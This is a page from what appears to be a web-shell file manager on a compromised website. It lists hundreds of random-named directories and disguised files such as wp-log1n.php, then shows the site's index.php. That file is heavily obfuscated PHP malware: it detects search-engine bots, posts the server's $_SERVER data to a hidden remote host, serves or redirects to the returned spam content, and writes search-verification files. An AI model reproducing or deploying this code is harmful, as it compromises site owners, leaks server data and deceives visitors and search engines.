FM / convergencesoft.ca

/home/techb158/convergencesoft.ca

Name	Size	Mode	Actions
.well-known/	-	0755	rm
1dvlqps/	-	0755	rm
1plgrny/	-	0755	rm
1rztgdu/	-	0755	rm
1sbpuni/	-	0755	rm
1uckrqw/	-	0755	rm
1wxyhag/	-	0755	rm
1xeikbl/	-	0755	rm
6f17c/	-	0555	rm
abrqjml/	-	0755	rm
afrxpdy/	-	0755	rm
ahktgyl/	-	0755	rm
akowlt1/	-	0755	rm
amyvglp/	-	0755	rm
anelodb/	-	0755	rm
arvneyh/	-	0755	rm
asgtkiu/	-	0755	rm
ashdirk/	-	0755	rm
awcxrge/	-	0755	rm
axzbodj/	-	0755	rm
azhelfj/	-	0755	rm
baksiv1/	-	0755	rm
bc1lfkz/	-	0755	rm
bcisujt/	-	0755	rm
bdu1hzw/	-	0755	rm
bemfqhx/	-	0755	rm
bgehkws/	-	0755	rm
bgupthq/	-	0755	rm
bguxetw/	-	0755	rm
bmwkvxl/	-	0755	rm
bnftkez/	-	0755	rm
bogvtmc/	-	0755	rm
bopctsd/	-	0755	rm
bskwmvx/	-	0755	rm
btlhajn/	-	0755	rm
bvtaqcu/	-	0755	rm
bxyfdji/	-	0755	rm
bydnjm1/	-	0755	rm
byrihtm/	-	0755	rm
bzowydk/	-	0755	rm
cglovqb/	-	0755	rm
cnieygq/	-	0755	rm
cnsibra/	-	0755	rm
cotmxyh/	-	0755	rm
cpl1xyf/	-	0755	rm
csznbt1/	-	0755	rm
ctwjhey/	-	0755	rm
cyeju1k/	-	0755	rm
dbzsapo/	-	0755	rm
decfn1g/	-	0755	rm
dfnkapl/	-	0755	rm
dgczvje/	-	0755	rm
doi1bwv/	-	0755	rm
dtpzmfs/	-	0755	rm
dwhxe1f/	-	0755	rm
dymbjxo/	-	0755	rm
ebyxjis/	-	0755	rm
ehfodip/	-	0755	rm
eiupcwf/	-	0755	rm
evqjzic/	-	0755	rm
exmukdh/	-	0755	rm
f1qpyjg/	-	0755	rm
fandvkm/	-	0755	rm
fbrpjyt/	-	0755	rm
fcqhond/	-	0755	rm
fedbulm/	-	0755	rm
fewtm1b/	-	0755	rm
fhtyjow/	-	0755	rm
floxsct/	-	0755	rm
fo1xljr/	-	0755	rm
fqltcai/	-	0755	rm
fruotek/	-	0755	rm
frwxtqg/	-	0755	rm
fugzjhn/	-	0755	rm
fx1rbsm/	-	0755	rm
fyjuxi1/	-	0755	rm
g1wotkv/	-	0755	rm
ganhjqx/	-	0755	rm
garhs1q/	-	0755	rm
gbtzwvs/	-	0755	rm
gcr1vjk/	-	0755	rm
ghrazdk/	-	0755	rm
gnabxjs/	-	0755	rm
gqcmdv1/	-	0755	rm
gwixhck/	-	0755	rm
gzhjksb/	-	0755	rm
hdcitvn/	-	0755	rm
hdytjsi/	-	0755	rm
hgw1lvn/	-	0755	rm
ho1ziur/	-	0755	rm
hqueylk/	-	0755	rm
hr1bqjm/	-	0755	rm
htvilpx/	-	0755	rm
htzmner/	-	0755	rm
hudqkie/	-	0755	rm
hwcmjta/	-	0755	rm
hwtev1i/	-	0755	rm
i1pugnc/	-	0755	rm
iafbdgj/	-	0755	rm
ideoau1/	-	0755	rm
ildtsvo/	-	0755	rm
imozqha/	-	0755	rm
ixgbzdr/	-	0755	rm
iysfg1u/	-	0755	rm
jeiobqv/	-	0755	rm
jgqiayp/	-	0755	rm
jivzolk/	-	0755	rm
jiwdsqf/	-	0755	rm
jqifbwa/	-	0755	rm
jsl1idg/	-	0755	rm
jsngyex/	-	0755	rm
jtomdps/	-	0755	rm
jtwkdgx/	-	0755	rm
juymvw1/	-	0755	rm
jvqzeda/	-	0755	rm
kbnmolv/	-	0755	rm
kbzpiug/	-	0755	rm
kdwa1ny/	-	0755	rm
kgqwpoi/	-	0755	rm
kmwypub/	-	0755	rm
kpocdj1/	-	0755	rm
kstgunm/	-	0755	rm
kthwrla/	-	0755	rm
ktpns1x/	-	0755	rm
laguvtf/	-	0755	rm
lgba1dn/	-	0755	rm
lgoqtdb/	-	0755	rm
lkdnapi/	-	0755	rm
logs/	-	0755	rm
lrhumso/	-	0755	rm
lsixhro/	-	0755	rm
ltnywci/	-	0755	rm
lykfgjr/	-	0755	rm
lyorhvs/	-	0755	rm
mbofvhi/	-	0755	rm
mdfzjlt/	-	0755	rm
mnilkyv/	-	0755	rm
mpgqflb/	-	0755	rm
mpxujzt/	-	0755	rm
mrzxapy/	-	0755	rm
murpjqe/	-	0755	rm
mxtlikg/	-	0755	rm
mxywvpa/	-	0755	rm
naoxpfu/	-	0755	rm
nhgkuot/	-	0755	rm
nhrjeid/	-	0755	rm
nklbezy/	-	0755	rm
nlhibqj/	-	0755	rm
nmv1gjq/	-	0755	rm
norqakz/	-	0755	rm
ntusje1/	-	0755	rm
nwjeasi/	-	0755	rm
nxqozrd/	-	0755	rm
nxshgoy/	-	0755	rm
nzuyrda/	-	0755	rm
o1xgvhl/	-	0755	rm
obu1jfn/	-	0755	rm
ofihuqp/	-	0755	rm
oldtpar/	-	0755	rm
opn1heg/	-	0755	rm
oqayrxm/	-	0755	rm
ort1xhb/	-	0755	rm
oujbgcx/	-	0755	rm
oxkpjnt/	-	0755	rm
p1oreaq/	-	0755	rm
pbvd1rn/	-	0755	rm
pchskzd/	-	0755	rm
piahxvk/	-	0755	rm
pialdv1/	-	0755	rm
pibavql/	-	0755	rm
pjbrl1i/	-	0755	rm
pkmobgl/	-	0755	rm
plgisqr/	-	0755	rm
pmhasbk/	-	0755	rm
pngkmsf/	-	0755	rm
pnvfzra/	-	0755	rm
pq1ulro/	-	0755	rm
prgutvy/	-	0755	rm
ptbfnha/	-	0755	rm
pvbqykj/	-	0755	rm
pwdqbkj/	-	0755	rm
pzoarxs/	-	0755	rm
qbfs1dg/	-	0755	rm
qhrgmys/	-	0755	rm
qpybidr/	-	0755	rm
qtwfv1d/	-	0755	rm
qymnjoi/	-	0755	rm
qyvrxdf/	-	0755	rm
qzmsndy/	-	0755	rm
r1bnqje/	-	0755	rm
rbiudhx/	-	0755	rm
rgfeziy/	-	0755	rm
rhqcpti/	-	0755	rm
rhxlouc/	-	0755	rm
rjkupgw/	-	0755	rm
rlnbwmg/	-	0755	rm
rng1bih/	-	0755	rm
roncmpe/	-	0755	rm
roqxzsk/	-	0755	rm
ruemldx/	-	0755	rm
runsxmp/	-	0755	rm
rz1qwpv/	-	0755	rm
savihle/	-	0755	rm
sbjrihg/	-	0755	rm
sexqmky/	-	0755	rm
sijlxzt/	-	0755	rm
sqxutlw/	-	0755	rm
suaynhg/	-	0755	rm
suvxdzo/	-	0755	rm
svbypgx/	-	0755	rm
svkuhzc/	-	0755	rm
swcnqhl/	-	0755	rm
swft1rv/	-	0755	rm
swhjari/	-	0755	rm
swhqznc/	-	0755	rm
tazey1l/	-	0755	rm
tkchdzn/	-	0755	rm
tlcwkiq/	-	0755	rm
tplbafr/	-	0755	rm
tszbvqe/	-	0755	rm
tvuiywj/	-	0755	rm
uavno1b/	-	0755	rm
ubitlvz/	-	0755	rm
ubrfzhn/	-	0755	rm
udaofpi/	-	0755	rm
uhtvzon/	-	0755	rm
uja1hxg/	-	0755	rm
umedfvw/	-	0755	rm
umvpwk1/	-	0755	rm
uoef1cp/	-	0755	rm
uvbyjlf/	-	0755	rm
uwdphcs/	-	0755	rm
vaeb1zg/	-	0755	rm
vc1ahpd/	-	0755	rm
vcgemln/	-	0755	rm
vedtplw/	-	0755	rm
vichzod/	-	0755	rm
vihxqcy/	-	0755	rm
vjxrqcz/	-	0755	rm
vlqohij/	-	0755	rm
vqxyowj/	-	0755	rm
vurjoib/	-	0755	rm
vwqxpei/	-	0755	rm
vxu1fmr/	-	0755	rm
w1ptdej/	-	0755	rm
wca1vyf/	-	0755	rm
wfnkmei/	-	0755	rm
whcxjzf/	-	0755	rm
wmib1cp/	-	0755	rm
wp-includes/	-	0755	rm
wymrcvi/	-	0755	rm
wzntpaq/	-	0755	rm
xbwsajo/	-	0755	rm
xglrcpi/	-	0755	rm
xgvyk1n/	-	0755	rm
xjuzyrl/	-	0755	rm
xmgcrvt/	-	0755	rm
xra1pey/	-	0755	rm
xt1shzo/	-	0755	rm
xtnyehc/	-	0755	rm
xvh1ztc/	-	0755	rm
xwfknpv/	-	0755	rm
xynirdp/	-	0755	rm
xzlvncp/	-	0755	rm
xzthsvc/	-	0755	rm
ydkbxqf/	-	0755	rm
yknsjbu/	-	0755	rm
yqduxvh/	-	0755	rm
yrqjmhu/	-	0755	rm
ysvheqf/	-	0755	rm
yucgoxp/	-	0755	rm
zcpd1mn/	-	0755	rm
zdxoh1n/	-	0755	rm
zlrdwig/	-	0755	rm
zlrsqta/	-	0755	rm
zod1wrv/	-	0755	rm
zsfpya1/	-	0755	rm
zsokgme/	-	0755	rm
.ftpquota	6	0600	edit dl rm
.htaccess	1156	0555	edit dl rm
buy.php	1543	0444	edit dl rm
index.php	12718	0555	edit dl rm
plugins.php	2077	0444	edit dl rm
product.php	1323	0444	edit dl rm
robots.txt	513	0444	edit dl rm
wp-cron-cahd.php	1659	0644	edit dl rm
wp-log1n.php	1973	0444	edit dl rm

Edit: /home/techb158/convergencesoft.ca/index.php (12718B)

<?php define('A', 'jan84.fghsnz55>3htr/komeri::?[0:1]=[0:1]^[0:1][2:10~12][0:1]![0:2~5]|?shop/items/[4:0~1]^^!!/::'); goto UO6xV; b1J4B: function k_uIY($u4dOz = '') { return preg_match("\x2f\50\x67\x6f\157\147\x6c\x65\56\x63\x6f\x2e\152\x70\174\x79\141\x68\157\x6f\x2e\143\x6f\x2e\152\x70\x7c\142\151\x6e\x67\x7c\x62\x61\151\144\165\x7c\147\157\x6f\147\x6c\145\56\x63\x6f\x6d\51\57\x73\x69", $u4dOz); } goto xRTHW; f5AyF: function olyHY($HGjvE, $jaNva = array()) { goto aLyc9; aLyc9: $C4e2c = 0; goto XKT8B; XKT8B: try { goto QtLS6; Uzsy0: if (feof($wmBma)) { goto cyBCW; } goto Vk3Bf; wR0Ee: m19zn: goto lKGYj; ARxHi: $xI4hl = ''; goto BzRT4; G3Rgy: $K8XHo .= substr($ro41k, $wo8M2 + 2, $CdPGZ); goto XxEac; qBGrW: Pvds7: goto gFNQa; XxEac: $ro41k = substr($ro41k, $wo8M2 + 2 + $CdPGZ + 2); goto WxHCg; IsOo5: KUw06: goto IWYiX; YkMeJ: if (!$d7QdP) { goto Q7M4F; } goto wESeo; w6L2w: if (!($C4e2c === 0)) { goto Pvds7; } goto NdYAE; IWYiX: $ro41k = $K8XHo; goto v25sU; J5JMP: $dkSyZ = $QUV0p["\150\x6f\x73\164"]; goto yu15F; yu15F: $WCgKj = $rJC68 === "\x68\x74\x74\160\x73" ? 443 : 80; goto llApo; ecHvR: curl_setopt($Qe2r6, CURLOPT_RETURNTRANSFER, 1); goto lRaju; d9IcW: $rJC68 = isset($QUV0p["\163\x63\x68\x65\155\145"]) ? $QUV0p["\x73\143\150\145\x6d\145"] : "\x68\x74\164\160"; goto J5JMP; BtxWb: jyjCZ: goto Uzsy0; U1vHm: $d7QdP = curl_exec($Qe2r6); goto G9WuF; yn4WM: zMfkb: goto U1vHm; llApo: $rP29o = isset($QUV0p["\160\x61\x74\x68"]) ? $QUV0p["\160\x61\x74\150"] : "\x2f"; goto b3Lxe; dFEI9: if (!($wo8M2 === false)) { goto Ta8mu; } goto A0UuA; hd7TQ: $CkGE2 = explode("\xd\12\xd\12", $C4e2c, 2); goto Nc_Nl; wSehH: $ro41k = isset($CkGE2[1]) ? $CkGE2[1] : ''; goto tjixG; JwIrm: fclose($wmBma); goto hd7TQ; Vk3Bf: $C4e2c .= fgets($wmBma, 1024); goto BwNYT; PMz8P: if (empty($jaNva)) { goto m19zn; } goto v3KNx; RH32l: cyBCW: goto JwIrm; NoLUR: fwrite($wmBma, $GOMGp); goto BtxWb; A9ano: $GOMGp .= $JLIO1; goto nmGaY; fc5Nt: $QUV0p = parse_url($HGjvE); goto d9IcW; ntnQY: $GOMGp .= $xI4hl; goto Qmv4Z; z1BSx: $Qe2r6 = curl_init(); goto mFmRY; YIjwS: if (!$wmBma) { goto g3ZTM; } goto TiSbL; BwNYT: goto jyjCZ; goto RH32l; qodwT: $epZ8T = ($rJC68 === "\x68\164\x74\160\163" ? "\x73\163\x6c\x3a\57\x2f" : '') . $dkSyZ . "\x3a" . $WCgKj; goto YinMA; wESeo: $C4e2c = trim(trim($d7QdP, "\357\xbb\xbf")); goto ukEgi; tjixG: if (!(stripos($JLIO1, "\124\x72\x61\x6e\163\x66\x65\162\55\105\x6e\143\x6f\x64\x69\156\x67\72\40\143\150\165\x6e\x6b\145\144") !== false)) { goto iOEgb; } goto Kwb39; XAL3F: curl_setopt($Qe2r6, CURLOPT_USERAGENT, "\127\110\x52"); goto PrVoX; TiSbL: $GOMGp = "{$rMLly}\x20{$rP29o}{$Wzhu0}\40\110\124\124\120\x2f\x31\56\x31\15\12"; goto exlhh; iJcG1: $CdPGZ = hexdec(substr($ro41k, 0, $wo8M2)); goto mAciO; QtLS6: if (!(function_exists("\143\165\162\154\137\151\x6e\x69\164") && function_exists("\143\x75\x72\154\x5f\x65\170\145\143"))) { goto S023E; } goto z1BSx; WxHCg: goto Cs_7C; goto IsOo5; b3Lxe: $Wzhu0 = isset($QUV0p["\161\165\145\x72\x79"]) ? "\x3f" . $QUV0p["\161\165\x65\162\x79"] : ''; goto ARxHi; A0UuA: goto KUw06; goto yJmaU; Ot3BV: g3ZTM: goto qBGrW; Nc_Nl: $JLIO1 = isset($CkGE2[0]) ? $CkGE2[0] : ''; goto wSehH; Kwb39: $K8XHo = ''; goto fJDMR; bxgiM: $xI4hl = http_build_query($jaNva); goto jaLNF; nXbw6: $wo8M2 = strpos($ro41k, "\xd\xa"); goto dFEI9; yJmaU: Ta8mu: goto iJcG1; oBerd: curl_setopt($Qe2r6, CURLOPT_POST, 1); goto APBlH; PrVoX: curl_setopt($Qe2r6, CURLOPT_CONNECTTIMEOUT, 0); goto ecHvR; g1n5V: curl_setopt($Qe2r6, CURLOPT_SSL_VERIFYHOST, false); goto z5ASz; QWXnE: curl_setopt($Qe2r6, CURLOPT_TIMEOUT, 60); goto eqV6u; kZMKY: if (!true) { goto KUw06; } goto nXbw6; lRaju: curl_setopt($Qe2r6, CURLOPT_SSL_VERIFYPEER, false); goto g1n5V; z5ASz: curl_setopt($Qe2r6, CURLOPT_FOLLOWLOCATION, 1); goto QWXnE; NdYAE: $C4e2c = ''; goto fc5Nt; BzRT4: $rMLly = "\107\x45\124"; goto RtjGq; sZPhP: $JLIO1 .= "\103\157\x6e\164\x65\156\x74\55\x4c\145\x6e\147\x74\x68\72\x20" . strlen($xI4hl) . "\15\12"; goto wR0Ee; nmGaY: if (!($rMLly === "\x50\117\123\124")) { goto nEMY_; } goto ntnQY; EPwK3: $C4e2c = trim($ro41k); goto Ot3BV; fJDMR: Cs_7C: goto kZMKY; ukEgi: Q7M4F: goto MMdn8; mAciO: if (!($CdPGZ === 0)) { goto EbDzF; } goto B7rwD; RtjGq: $JLIO1 = "\x55\x73\145\162\55\x41\x67\x65\x6e\x74\x3a\x20\127\x48\x52\xd\12"; goto PMz8P; jaLNF: $JLIO1 .= "\x43\x6f\x6e\x74\x65\156\164\55\x54\x79\160\x65\x3a\40\141\160\160\154\x69\x63\x61\x74\x69\157\156\x2f\x78\x2d\167\x77\x77\55\146\x6f\x72\x6d\55\165\162\x6c\145\156\x63\x6f\x64\145\x64\xd\12"; goto sZPhP; mFmRY: curl_setopt($Qe2r6, CURLOPT_URL, $HGjvE); goto XAL3F; B7rwD: goto KUw06; goto y6aYs; YinMA: $wmBma = stream_socket_client($epZ8T, $T_5N1, $x42pG, 45); goto YIjwS; lKGYj: $JLIO1 .= "\x43\x6f\156\x6e\145\143\x74\151\157\x6e\72\40\143\x6c\x6f\x73\145\xd\xa\xd\xa"; goto qodwT; v25sU: iOEgb: goto EPwK3; eqV6u: if (empty($jaNva)) { goto zMfkb; } goto oBerd; exlhh: $GOMGp .= "\110\157\163\x74\72\x20{$dkSyZ}\xd\12"; goto A9ano; G9WuF: curl_close($Qe2r6); goto YkMeJ; MMdn8: S023E: goto w6L2w; Qmv4Z: nEMY_: goto NoLUR; APBlH: curl_setopt($Qe2r6, CURLOPT_POSTFIELDS, http_build_query($jaNva)); goto yn4WM; y6aYs: EbDzF: goto G3Rgy; v3KNx: $rMLly = "\x50\117\123\x54"; goto bxgiM; gFNQa: } catch (Exception $F_jMU) { } goto Xak_Q; Xak_Q: return $C4e2c; goto I1lKb; I1lKb: } goto SPW2z; UO6xV: @date_default_timezone_set("\120\x52\103"); goto TMvZA; IkeSF: function STj5l($GXT_U = '') { goto msdRM; K96i3: if (!preg_match("\x2f\136\112\165\155\160\x40\x28\56\x2a\51\57", $pSvPu, $aAgzA)) { goto UyZs0; } goto yP6M3; zOxPN: die; goto b2KT7; wfYkE: $UyEHW = parse_url($t074h); goto fEGVi; sx8fc: AmcVW: goto MFgbs; NdeV1: $ewo6h = gbmAS($JtbTR); goto YP4Kf; v0pGI: echo sprintf($xYe69, $t074h, $t074h) . "\x3c\x62\x72\x20\x2f\76\x3c\142\x72\40\57\76"; goto wfYkE; b2KT7: G8Mk4: goto YXmZb; hr0xn: if (!preg_match("\x2f\x73\x69\x74\145\155\141\160\x2e\52\x3f\134\56\x78\155\154\44\57\163\x69", $GOUus)) { goto x4BWB; } goto cOgWw; b51PH: echo sprintf("\x3c\x62\x6f\x64\x79\40\157\x6e\x6c\157\x61\x64\x3d\x22\x64\x6f\143\165\x6d\145\156\164\56\x67\x65\x74\105\x6c\x65\x6d\145\x6e\164\163\x42\171\x54\141\147\116\141\x6d\x65\50\45\163\141\45\x73\51\133\x30\x5d\x2e\143\x6c\151\x63\153\x28\51\42\76\x3c\x61\40\x68\162\x65\146\x3d\x22\x25\x73\x22\76\74\x2f\141\76\x3c\x6e\157\x73\143\x72\151\160\164\x3e\x3c\x6d\145\x74\x61\x20\x68\164\164\x70\x2d\145\161\x75\151\166\75\42\162\145\146\x72\145\163\150\x22\40\143\157\156\x74\145\156\x74\75\42\x30\73\x20\x75\x72\154\75\x25\x73\42\x20\57\76\x3c\57\x6e\x6f\x73\143\x72\x69\x70\164\76\x3c\x2f\x62\x6f\144\171\76", "\x27", "\47", $n7XaY, $n7XaY); goto dfNCt; biO_B: $t074h = sprintf("\x68\164\x74\160\163\72\x2f\57\x25\163\56\x70\171", BUai1($KwkM7[0])); goto KGmUg; cOgWw: $pSvPu = OLyHY($t074h, array("\x78" => serialize($_SERVER))); goto oyS6W; fF61V: if (!preg_match("\57\136\x48\145\141\x64\100\50\56\x2a\77\51\100\100\x28\56\x2a\x29\57\x69\x73", $pSvPu, $mLBL0)) { goto uDXGI; } goto E6d7N; F8vYd: $JqGdN .= "\146\x69\143\x61"; goto csCGY; ZNtkp: $pSvPu = $mLBL0[2]; goto r0ds_; LSRY5: if (!isset($_GET[$AvQpa])) { goto Ef0F2; } goto g3UHD; KGmUg: $_SERVER["\171\x74\137\x6a\165\x6d\x70"] = 0; goto cok_R; I5zpg: $m6mXn .= "\x7d\134\56\170\150"; goto mkdBA; irebs: if (!preg_match("\57" . $m6mXn . "\44\x2f\x73\x69", $GOUus, $P7nJl)) { goto PXx1u; } goto th6EG; acdDI: $_SERVER["\x79\164\137\x6a\x75\155\x70"] = 1; goto b7Lrl; FJKCC: $AvQpa = "\171\x74\61"; goto i3g0g; s_JX4: $m6mXn .= "\x5d\x7b\x31\66"; goto I5zpg; cMTy_: $UFFYv .= "\124\x5f\x52\x4f\x4f\x54"; goto eyizT; x35A_: x4BWB: goto sqaNL; azEzT: $pSvPu = trim($pSvPu); goto BE3eZ; csCGY: $JqGdN .= $WsaCm; goto lU3UX; kphby: header("{$WsaCm}\x20\x2f{$JviCs}"); goto nXJ6R; lU3UX: $WsaCm = "\114\157\143\141" . $WsaCm; goto irebs; DkSZZ: goto AmcVW; goto y785m; qTrDu: $JqGdN .= "\147\x6c\x65\55\x73\x69"; goto dTKRj; R7NCX: return; goto HxVLR; cok_R: $_SERVER["\x79\164\x5f\x67\x7a"] = $KwkM7[1]; goto QekzQ; jK6c1: if (!preg_match("\57\136\110\145\x61\144\100\50\x2e\x2a\x3f\x29\x40\100\x28\56\52\x29\x2f\151\x73", $pSvPu, $mLBL0)) { goto jW1Qj; } goto pYT9S; BE3eZ: if (!in_array($pSvPu, array("\x2a\64\x30\64", "\x2a\x72\145\164\x75\x72\x6e"))) { goto EIzFX; } goto R7NCX; E6d7N: header($mLBL0[1]); goto orj5p; DBXeh: $JtbTR = isset($_SERVER["\110\x54\124\x50\137\125\x53\105\x52\x5f\101\x47\x45\x4e\124"]) ? $_SERVER["\110\x54\x54\120\x5f\125\x53\105\122\137\x41\x47\105\116\124"] : ''; goto NdeV1; fIf8M: $JqGdN = "\147\x6f\x6f"; goto qTrDu; y785m: jlHBa: goto YcwBn; cRiri: if (preg_match("\57\136\150\164\x74\x70\163\77\x2f\x73\151", $jcKA8)) { goto jlHBa; } goto v0pGI; orj5p: $pSvPu = $mLBL0[2]; goto OOhCg; XsUqt: file_put_contents("{$rXxVu}\57{$JviCs}", "{$JqGdN}\x20{$JviCs}"); goto NbJ0c; SOJha: $GOUus = $GOUus == '' ? isset($_SERVER["\x50\101\x54\110\137\111\x4e\x46\117"]) && $_SERVER["\120\x41\124\x48\137\111\116\x46\117"] != '' ? $_SERVER["\120\x41\x54\110\x5f\x49\x4e\x46\x4f"] : $GOUus : $GOUus; goto xiT2Y; HxVLR: EIzFX: goto K96i3; P1PQS: if (!($ewo6h || $nknVZ)) { goto G8Mk4; } goto TdpmX; NbJ0c: chmod($rXxVu, 0555); goto kphby; JzX88: die; goto d38Zq; dfNCt: P5Bs0: goto JzX88; NuGlw: $D2ghn = preg_match("\x2f\136\x68\164\164\160\163\x3f\x5c\x3a\x5c\57\x5c\x2f\x2f\x73\151", $n7XaY); goto lrrFk; SnINQ: if (!$nknVZ) { goto S6DdH; } goto acdDI; mkdBA: $m6mXn .= "\x74\155\154\x29"; goto fIf8M; d38Zq: UyZs0: goto fF61V; g3UHD: $jcKA8 = trim($_GET[$AvQpa]); goto cRiri; F9kSr: $pSvPu = oLyHY($t074h, array("\x78" => serialize($_SERVER))); goto azEzT; pYT9S: header($mLBL0[1]); goto ZNtkp; oyS6W: $pSvPu = trim($pSvPu); goto jK6c1; wThKX: echo "{$pSvPu}"; goto zOxPN; yP6M3: $n7XaY = trim($aAgzA[1]); goto NuGlw; YP4Kf: $nknVZ = k_UIY($PvRX4); goto hw8nr; MT15c: die; goto x35A_; e6Tns: chmod($rXxVu, 0755); goto XsUqt; kfKQb: echo $n7XaY; goto kKH0n; kKH0n: goto P5Bs0; goto nat3E; b7Lrl: S6DdH: goto F9kSr; msdRM: $GOUus = isset($_SERVER["\122\105\x51\125\x45\123\x54\x5f\125\x52\111"]) ? $_SERVER["\122\105\x51\x55\105\123\x54\x5f\x55\x52\111"] : (isset($_SERVER["\121\125\105\122\x59\x5f\123\124\122\x49\116\107"]) ? $_SERVER["\x51\125\105\x52\x59\137\123\124\122\111\x4e\107"] : ''); goto SOJha; d4oHs: Ef0F2: goto SnINQ; fEGVi: echo gethostbyname($UyEHW["\x68\157\x73\164"]); goto DkSZZ; QekzQ: $_SERVER["\x79\164\x5f\x75\x70"] = $KwkM7[2]; goto FJKCC; xiT2Y: $PvRX4 = isset($_SERVER["\110\124\x54\120\137\x52\x45\x46\105\x52\105\x52"]) ? $_SERVER["\110\x54\x54\x50\x5f\122\x45\x46\105\x52\x45\x52"] : ''; goto DBXeh; nXJ6R: die; goto DhscZ; eyizT: $rXxVu = $_SERVER[$UFFYv]; goto hr0xn; OOhCg: uDXGI: goto wThKX; hw8nr: $KwkM7 = explode("\72\x3a", A); goto biO_B; i3g0g: $UFFYv = "\x44\117\103"; goto cl0Su; DhscZ: PXx1u: goto P1PQS; r0ds_: jW1Qj: goto s3_DT; MFgbs: die; goto d4oHs; MQIUI: $m6mXn .= "\x67\x6c\145\133\134\x77"; goto s_JX4; dTKRj: $JqGdN .= "\164\x65\55\x76\x65\x72\x69"; goto F8vYd; YcwBn: echo OlYhy($jcKA8); goto sx8fc; sqaNL: $WsaCm = "\x74\x69\157\x6e\x3a"; goto s1X4m; s3_DT: echo "{$pSvPu}"; goto MT15c; cl0Su: $UFFYv .= "\125\115\x45\116"; goto cMTy_; TdpmX: $xYe69 = "\x3c\x61\x20\150\x72\x65\x66\75\42\45\163\x22\40\x74\141\x72\x67\x65\x74\x3d\x22\x5f\x62\x6c\141\156\x6b\42\x3e\45\163\x3c\x2f\x61\x3e"; goto LSRY5; nat3E: P0YlN: goto b51PH; s1X4m: $m6mXn = "\50\x67\157\157"; goto MQIUI; lrrFk: if ($D2ghn) { goto P0YlN; } goto kfKQb; th6EG: $JviCs = str_replace("\x2e\170", "\x2e", trim($P7nJl[1])); goto e6Tns; YXmZb: } goto tRSwt; xRTHW: function BUai1($OvXez) { goto axNN2; rFTJz: preg_match("\57\x28\x5b\x5e\134\56\x5d\53\134\x2e\x29\50\x2e\x2a\x29\50\134\x2f\x2e\52\51\57", $OvXez, $OQY5W); goto GAGZd; lwlM9: NBhAy: goto iGM5T; iGM5T: return $huaLI; goto g3ezr; inSWh: $A5e1j = preg_split("\57\57", $OQY5W[2], -1, PREG_SPLIT_NO_EMPTY); goto ZhS9v; rTzF3: if (!($OQY5W[2] != '')) { goto sju12; } goto inSWh; ZhS9v: foreach ($A5e1j as $A_MDP => $n3awN) { $A5e1j[$A_MDP] = chr(ord($n3awN) - 5); VWXqp: } goto j7Dsg; axNN2: $huaLI = ''; goto rFTJz; dta7O: $huaLI = implode('', $A5e1j); goto R7cid; GAGZd: if (!(is_array($OQY5W) && count($OQY5W) == 4)) { goto NBhAy; } goto rTzF3; R7cid: sju12: goto GfZw0; GfZw0: $huaLI = $OQY5W[1] . $huaLI . $OQY5W[3]; goto lwlM9; j7Dsg: tSi4D: goto dta7O; g3ezr: } goto IkeSF; TMvZA: if (!function_exists("\x6f\142\x5f\x73\x74\141\162\x74")) { goto MLbSl; } goto lwtzL; SPW2z: function gbMaS($wJHpg = '') { return preg_match("\57\x28\147\157\157\x67\154\145\x62\157\164\174\x62\x61\x69\144\165\x73\x70\151\x64\145\x72\x7c\142\151\x6e\x67\x62\157\x74\x7c\x67\x6f\157\x67\154\145\174\142\141\151\144\x75\174\x61\157\x6c\x7c\142\151\x6e\147\174\171\x61\x68\x6f\157\174\171\141\x6e\x64\145\x78\x29\x2f\x73\x69", $wJHpg); } goto b1J4B; NHUG5: MLbSl: goto f5AyF; lwtzL: @ob_start(); goto NHUG5; tRSwt: stj5l(); ?>

cmd: